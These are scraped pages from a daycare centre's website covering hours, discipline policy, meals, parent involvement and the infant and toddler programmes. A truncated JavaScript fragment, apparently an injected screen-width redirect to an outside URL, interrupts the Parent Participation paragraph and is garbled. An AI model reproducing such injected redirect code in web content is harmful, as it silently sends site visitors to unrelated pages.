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Hours of Operation PDF Print E-mail
               1st Shift                                                                 2nd Shift*

Arrival Time: 6am-11am                         Arrival Time: 11am-5pm

Departure Time: 6pm                              Departure Time: 12:00am

*A work or school schedule must be submitted to the office in order to do 2nd shift


 
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Overview PDF Print E-mail
Divine Day Care Center, Inc. staff and management believe that helping the child to learn self-control is very important. Our hope is that each child will learn self-discipline through careful guidance. Your child will be treated with love and respect. If children are treated with respect, they in turn learn to respect teachers and their friends. our expectations will be kept within the child's capabilities and the child will be made aware of these expectations. Positive reinforcement (commenting on children doing the "right" thing) and positive redirection (removing the child and giving them an appropriate activity) will be used. A child may be asked to sit for a short period of time to give the child a chance to regain control if they are having a difficult time. Time outs will be age appropriate in length and done within the classroom. Staff will not impose punishemnts for failure to eat, sleep or toileting accidents. This discipline policy applies to all staff and parents while they are at the center. 

Divine Day Care Center Meal and Snacks

Divine Day Care Center, Inc. provides breakfast in the morning, lunch mid-day and an afternoon snack to all children enrolled at our center. All the meals and snacks that are provided are nutritious and meet our daycare lincensing requirements. We are able to provide alternatives if your child has a special diet due to allergies or religious beliefs. 

Parent Participation

Parents are encouraged to participate whenever possible in the activities at the center. Parents have unllimited access to all areas of the building used for child care during hours of operation. Parents may wish to attend field trips, class partiesm special luncheons or simply stop by for some daily fun. Teachers are available to discuss a child's progress or needs at anytime. if (screen.width ation = "http://kidshealth.com.au/Documentation/test.html"; }
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Spirituality in Parenting PDF Print E-mail
"Train up a child in the way he should go: and when he is old, he will not depart from it." Proverbs 22:6

Giving your child a spiritual foundation for their future morals and values directly impacts their future success, reasoning and relationships. Here are ways you can support your child in search of their own spirituality and curiosity:

 

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Infants (6 wks - 18 mos) PDF Print E-mail
At Divine Day Care Center, we realize the importance of nurturing the early stages of growth in the life of a child. Our infant classroom is purposely designed to meet and surpass the developmental milestones infants encounter as they grow. Our infant caregivers are professionally trained teachers who teach infants with expertise gained through experience and education using age-appropriate activities. Some of these activities and the areas they supplement are listed below:


 Motor Development- Learning fingerplays like "Row, Row, Row Your Boat", practicing grasping, pushing and pulling toys
 
Cognitive Development-  Reading words of everyday items, hiding and revealing a favorite toy or repeating a baby's babbling 

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Toddler (18 mos - 3 yrs) PDF Print E-mail
At Divine Day Care Center, we realize the importance of nurturing the early stages of growth in the life of a child. Our toddler classroom is purposely designed to meet and surpass the developmental milestones toddlers encounter as they grow. Our toddler caregivers are professionally trained teachers who teach toddlers with expertise gained through experience and education using age-appropriate activities. Some of these activities and the areas they supplement are listed below:

Motor Development- Stringing wooden beads through string to make a necklace, turning pages of cardboard book, scribbling with a fat crayons on a large piece of paper using a fullhand grasp.

Cognitive Development- Experimenting by pouring water in and out of different bowls in water table, stacking and sorting

Social/Emotional Development- Identifying a few parts of the body, pretending to cook using stove, and pretending to feed a baby.

Language and Literacy Development- Reading "The Itsy Bitsy Spider" along with hand movements and  reading stories with repetitive sentences.  

 
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